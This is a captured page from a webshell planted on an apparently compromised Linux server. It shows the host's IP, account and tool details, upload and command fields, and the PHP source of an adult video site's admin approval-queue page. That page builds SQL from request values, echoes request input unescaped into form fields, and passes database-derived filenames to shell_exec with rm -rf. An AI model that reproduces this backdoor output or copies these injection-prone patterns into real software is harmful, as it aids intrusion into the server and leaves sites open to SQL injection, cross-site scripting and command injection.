403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/www.superporner.com/porn/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/www.superporner.com/porn/admin/queue.php
<? 
ini_set("max_execution_time", "86400");
set_time_limit(86400); 

require "header.php"; 

if($_POST['list']) {
	foreach($_POST['list'] as $i) {
		if(is_numeric($i)) {
			if($_POST[action] == 'delete') {
				$result = mysql_query("SELECT record_num, filename, orig_filename FROM content WHERE record_num = '$i'");
				$row = mysql_fetch_array($result);
				if($row[record_num] && $row[photos] == 0) { 
					if($row[orig_filename]) { 
						unlink($basepath.'/content/'.$row[orig_filename]); 
					}
				} else { 
					if(strlen($row[filename]) > 2 && $row[record_num]) { 
						echo shell_exec("rm -rf $basepath/media/galleries/$row[filename]");
					}
				}
				mysql_query("DELETE FROM content WHERE record_num = '$i'");
				mysql_query("DELETE FROM content_views WHERE content = '$i'");
				mysql_query("DELETE FROM content_niches WHERE content = '$i'");
				mysql_query("DELETE FROM content_pornstars WHERE content = '$i'");
			} else {
				$result = mysql_query("SELECT record_num,filename FROM content WHERE record_num = '$i' AND photos = 1");
				if(mysql_num_rows($result) < 1) {
					mysql_query("UPDATE content SET approved = 1 WHERE record_num = '$i'") or die(mysql_error());
				}
				else {
					$row = mysql_fetch_array($result);
					makeThumbs($row[filename]);
					mysql_query("UPDATE content SET approved = 2 WHERE record_num = '$i'") or die(mysql_error());		
					if($row[filename]) { 
						echo shell_exec("rm -rf $basepath/ftp_photos/$row[filename]");
					}
				}
				mysql_query("INSERT INTO content_views (views, content) values ('0', '$i')");
			}
		}
	}
}
?>
<script language="javascript">
function setVideo(filename) {
	$("#previewvid").load("preview.php?filename="+filename);
}
	  $(document).ready(function(){
			$(".preview").colorbox({width:"580px", height:"520px", inline:true, href:"#previewvid"});
	  });
 </script>
      
      
     <div id="right_column">
        <!-- RIGHT -->
        <div id="right_top">
        	<div id="right_home"></div>
            <div id="right_right">  
            <a href="index.php">Admin Home</a>          
            <span><a href="queue.php">Approval Queue</a></span>  
            </div>
        </div>
        <div id="right_bg">
      		<h2>Approval<strong>Queue</strong></h2>
            <p>The following videos are awaiting your approval. Once approved, they will be moved into the encoding queue where they will be thumbnailed and encoded (Note: Videos already in FLV or H264 format do not get re-encoded).</p>
            <div id="index_left" style='width: 100%;'>            
<? if($error) { ?><p><? echo $error; ?></p><? } ?>
<form id="form2" name="form2" method="get" action="">
  <div align="center">
    <table width="390" border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
      <thead>
        <tr>
          <th colspan="2" align='left'>Search Approval Queue</th>
        </tr>
      </thead>
      <tr>
        <td width="114" height="25" class="style4">Select Channel</td>
        <td width="262" height="25" align="left" class="style4"><select name="channel" id="niche">
            <option value=''>--All Channels--</option>
            <? $result1 = mysql_query("SELECT * FROM niches ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[channel] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
        </select></td>
      </tr>
      <tr>
        <td width="114" height="25" class="style4">Select Pornstar</td>
        <td width="262" height="25" align="left" class="style4"><select name="pornstar" id="niche">
            <option value=''>--All Pornstars--</option>
            <? $result1 = mysql_query("SELECT * FROM pornstars ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[pornstar] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
        </select></td>
      </tr>
      <tr>
        <td width="114" height="25" class="style4">Select Paysite</td>
        <td width="262" height="25" align="left" class="style4"><select name="paysite" id="niche">
            <option value=''>--All Paysites--</option>
            <option value='none' <? if($_REQUEST[paysite] == 'none') { echo 'selected'; } ?>>No Paysite</option>
            <? $result1 = mysql_query("SELECT * FROM paysites ORDER BY name ASC");
	  while($row1 = mysql_fetch_array($result1)) {
	  		if($_REQUEST[paysite] == $row1[record_num]) { $selected = 'selected'; } else { $selected = ''; }
	  		echo "<option $selected value='$row1[record_num]'>$row1[name]</option>";
	  }	
	  ?>
        </select></td>
      </tr>
       <tr>
      <td height="25" class="style4">Type</td>
      <td height="25" align="left" class="style4"><select name="type" id="user">
        <option value="">--All Types--</option>
        <option value="photos">Photos</option>
        <option value="videos">Videos</option>
        <option value="plugs">Plugs</option>
            </select></td>
    </tr>
    
      <tr>
        <td height="25" class="style4">Search</td>
        <td height="25" align="left" class="style4"><input name="keywords" type="text" id="keywords" value="<? echo $_REQUEST[keywords]; ?>" /></td>
      </tr>
      <tr>
        <td height="25" class="style4">User Number</td>
        <td height="25" align="left" class="style4"><input name="user" type="text" id="keywords" value="<? echo $_REQUEST[user]; ?>" /></td>
      </tr>
      <tr>
      <td height="25" class="style4">Sort By</td>
      <td height="25" align="left" class="style4"><select name="sortby" id="sortby">
        <option <? if($_GET[sortby] == 'encoded_date' || !$_GET[sortby]) { echo 'selected'; } ?> value="encoded_Date">Date</option>
        <option <? if($_GET[sortby] == 'title') { echo 'selected'; } ?>  value="title">Title</option>
        <option <? if($_GET[sortby] == 'length') { echo 'selected'; } ?> value="length">Length</option>
      </select>
        <select name="sorttype" id="sorttype">
          <option <? if($_GET[sorttype] == 'ASC') { echo 'selected'; } ?> value="ASC">Ascending</option>
          <option <? if($_GET[sorttype] == 'DESC' || !$_GET[sorttype]) { echo 'selected'; } ?> value="DESC">Descending</option>
        </select>
        </td>
    </tr>
<tr>
      <td width="114" height="25" class="style4">Per Page</td>
      <td width="262" height="25" align="left" class="style4"><select name="setmax" id="niche">
      <option <? if($_GET[setmax] == '100' || !$_GET[setmax]) { echo 'selected'; } ?> value='100'>100</option>
      <option <? if($_GET[setmax] == '250') { echo 'selected'; } ?> value='250'>250</option>
      <option <? if($_GET[setmax] == '500') { echo 'selected'; } ?> value='500'>500</option>
      <option <? if($_GET[setmax] == '1000') { echo 'selected'; } ?> value='1000'>1000</option>
      <option <? if($_GET[setmax] == '2500') { echo 'selected'; } ?> value='2500'>2500</option>
      </select></td>
    </tr>

      <tr>
        <td height="25" colspan="2" class="style4" align='center'><input type="submit" name="Submit2" id="button" value="Search" /></td>
      </tr>
    </table>
    <br />
    <br />
  </div>
</form>
<form id="form1" name="form1" method="post" action="">
<?
if(!isset($_GET['page']) || $_GET[page] == '') { 
	$page = 1; 
} else { 
	$page = $_GET['page']; 
}
if(!$_GET[setmax]) { $max_results = 100; } else { $max_results = $_GET[setmax]; }
$from = (($page * $max_results) - $max_results); 

$bgcolor = '#ffffff';

$okSortBy = array('encoded_date','title','views','length','rating');
$okSortType = array('ASC','DESC'); 
if(in_array($_REQUEST[sortby],$okSortBy)) {
	$sortBy = $_REQUEST[sortby];
}
else {
	$sortBy = 'encoded_date';
}
if(in_array($_REQUEST[sorttype],$okSortType)) {
	$sortType = $_REQUEST[sorttype];
}
else {
	$sortType = 'DESC';
}

if(is_numeric($_REQUEST[channel])) { $nicheand = " AND content_niches.niche = '$_REQUEST[channel]' AND content_niches.content = content.record_num "; $tableif = ', content_niches '; }
if(is_numeric($_REQUEST[pornstar])) { $nicheand .= " AND content_pornstars.pornstar = '$_REQUEST[pornstar]' AND content_pornstars.content = content.record_num"; $tableif .= ', content_pornstars '; }
if(!empty($_REQUEST[keywords])) { $_REQUEST[keywords] = mysql_real_escape_string($_REQUEST[keywords]); $keywordsand = " AND (keywords LIKE '%$_REQUEST[keywords]%' OR title LIKE 
'%$_REQUEST[keywords]%' OR description LIKE '%_REQUEST[keywords]%' OR embed LIKE '%$_REQUEST[keywords]%') "; }
if(is_numeric($_REQUEST[paysite]) || $_REQUEST[paysite] == 'none') { 
	if($_REQUEST[paysite] == 'none') {
		$paysitesand = " AND content.paysite = '0'"; 
	}
	else {
		$paysitesand = " AND content.paysite = '$_REQUEST[paysite]'"; 
	}
}
if(!empty($_GET[type])) {
	if($_GET[type] == 'photos') { 
		$paysitesand .= " AND photos = '1'";
	}
	elseif($_GET[type] == 'videos') {
		$paysitesand .= " AND photos = '0'";
	}
	elseif($_GET[type] == 'plugs') {
		$paysitesand .= " AND plug_url != ''";
	}
}
$groupby = "GROUP BY content.record_num";
if(is_numeric($_REQUEST[user])) { $paysitesand .= "AND submitter = '$_REQUEST[user]'"; } 
$q = "SELECT content.*, (SELECT users.username FROM users WHERE users.record_num = content.submitter) AS username FROM content $tableif WHERE 1=1 $nicheand $paysitesand $keywordsand $dateand $pornstarsand $dateaand  
$urland  $usersand $typeand AND content.enabled = 0 AND approved = 0  $groupby ORDER BY $sortBy $sortType LIMIT $from,$max_results";
$result = mysql_query($q);
$result_count = mysql_query("SELECT content.record_num FROM content $tableif WHERE 1=1 $nicheand $paysitesand $pornstarsand $keywordsand $dateand $dateaand  $urland $usersand $typeand AND content.enabled = 0 AND approved = 0 $groupby");

$total_results = mysql_num_rows($result_count);
$total_pages = ceil($total_results / $max_results);
?>
<table  border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
    <thead>
    <tr>
      <th width="210" align='left'>Title</th>
	  <th width="349" align='left'>Information</th>
	  <th width="154" align="center">Added</th>
	  <th width="85" colspan="3" align="center">&nbsp;</th>
      <th align="center" ><input type="checkbox" name="allbox" id="checkAll" onclick="CheckAll(document.form1)" /></th>
    </tr>
    </thead>
<?
while($row = mysql_fetch_array($result)) { 
	$videotitle = str_replace(' ','-',$row[title]); 
    $videotitle = str_replace("'",'',$videotitle);
    $videotitle = str_replace('"','',$videotitle);
    $videotitle = str_replace('&','and',$videotitle);
    $videotitle = strtolower($videotitle); 
 	$link = "/videos/$videotitle-$row[record_num].html";
?>
    <tr bgcolor = '<? echo $bgcolor; ?>' id='record<? echo $row[record_num]; ?>'>
      <td valign="top" ><strong><? echo htmlentities($row[title]); ?></strong></td>
	  <td valign="top" ><strong>Description:</strong> <? echo htmlentities($row[description]); ?><br />
      <? if($row[paysite]) { 
	  $rresult = mysql_query("SELECT name FROM paysites WHERE record_num = '$row[paysite]'");
	  $rrow = mysql_fetch_array($rresult); 
	  echo "<strong>Paysite:</strong> <a href='edit_paysite.php?id=$row[paysite]'>$rrow[name]</a><br>";
	  }
	  ?><strong>Uploader:</strong> <a href='edit_user.php?id=<? echo $row[submitter]; ?>'><? echo $row[username]; ?></a><br />
      <? if($row[photos] == 0) { ?>
      <strong>Filesize: </strong> <? echo ceil(filesize($content_path.'/'.$row[orig_filename])/1024); ?> kbytes
      <? } ?>
      </td>
	  <td align="center" valign="top" ><span><? echo $row[date_added]; ?></span></td>
	  <td align="center" valign="top" >
      	<? 
		if($row[photos] == 0) {
		?>
        <a class='preview' href='#' onClick="setVideo('<? echo addslashes($row[orig_filename]); ?>')"><img src='gfx/buttons/film.png' border=0 /></a>
        <? } ?>
        </td>
	  <td align="center" valign="top" ><a href="approve_<? if($row[photos] == 1) { echo 'photo_'; } ?>content.php?id=<? echo $row[record_num]; ?>"><img src='icons/accept.png' border=0 /></a></td>
	  <td align="center" valign="top" ><a onClick="javascript:deleteRow('<? echo $row[record_num]; ?>'); return false;" href="#"><img src='icons/cancel.png' border=0 /></a></td>
      <td align="center" valign="top"><input name="list[]" type="checkbox" class="style4" value="<? echo $row[record_num]; ?>" /></td>
    </tr>
<? 
if($bgcolor == '#ffffff') { $bgcolor = "#EBEBEB"; } else { $bgcolor = '#ffffff'; }
}
?>
</table>
<br />
<center><span>
           <select name="action" id="action">
        	 <option value="approve">Approve</option>
             <option value="delete">Delete</option>
           </select>
           </span>
          
           <input name="Submit" type="submit" class="style4" value="Process Selected" />
</center>
<br />
  <center>
  <div id='adminPagination'>
  <? echo showAdminPagination($total_pages); ?>
  </div>
  </center>
</form>
            </div>
        </div>
        <div id="right_bottom"></div>

        </div>
</div>
</div>


      
        

<div style='display: none;'>
<div style='padding-top: 10px;' id='previewvid'>
vidpreviewgoeshere     
</div>
</div>





<? require "footer.php"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit